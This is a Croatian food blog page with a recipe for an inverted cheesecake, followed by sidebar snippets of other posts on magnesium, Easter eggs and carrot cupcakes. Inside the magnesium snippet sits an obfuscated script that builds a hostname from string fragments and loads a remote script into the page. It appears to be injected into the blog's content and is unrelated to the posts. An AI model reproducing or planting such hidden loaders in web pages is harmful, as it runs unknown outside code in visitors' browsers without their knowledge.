OBRNUTI CHEESECAKE





Obrnuti cheesecake 




Ako vam je dosadio klasični cheesecake i mislite da vas po pitanju njega više ništa ne može iznenaditi, moguće je da se varate. Naime, već je neko vrijeme viralna nova verzija ove slastice koju morate isprobati. Riječ je o verziji koja je moderna i pomalo zaigrana, a naziva se "obrnuti cheesecake". Taj je trend osvojio društvene mreže i foodie scenu, a razlog je vrlo jednostavan – ne samo da izgleda drugačije i atraktivno, već donosi i potpuno novo iskustvo uživanja u ovom poznatom desertu.





Obrnuti cheesecake 


Sastojci:

  • 250 g zdrobljenih keksa (npr. Plazma ili Digestive)

  • 100 g maslaca

  • Prstohvat soli

  • 225 g krem sira (npr. ABC sir ili Philadelphia)

  • 115 g mascarpone sira

  • 75 g šećera u prahu

  • 1 žličica ekstrakta vanilije

  • 300 ml slatkog vrhnja

  • 3 žlice džema od jagoda (ili bilo kojeg "dinstanog" voća)





Priprema:

Priprema je vrlo jednostavna, kao i kod većine drugih cheesecakeova. Usitnjeni keksi pomiješaju se s maslacem i soli, a nakon toga ¾ smjese utisne se u kalup (na dno i na stranice kalupa). Dok se priprema nadjev, kalup s keksima treba stajati u zamrzivaču. Što se tiče nadjeva, njegova priprema također je jednostavna – mikserom se pomiješaju krem sir, mascarpone, šećer u prahu i vanilija, a na kraju se doda i vrhnje za šlag.

Kada je smjesa kompaktna, izlije se u kalup, a na vrh se stavi voćna komponenta po izboru. Preko vrha se ravnomjerno pospu preostali keksi i to je to. Kalup je potrebno prekriti folijom i ostaviti ga u hladnjaku minimalno tri sata, ali najbolje preko noći. Prilikom posluživanja kalup se preokrene tako da podloga od keksa bude na vrhu.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više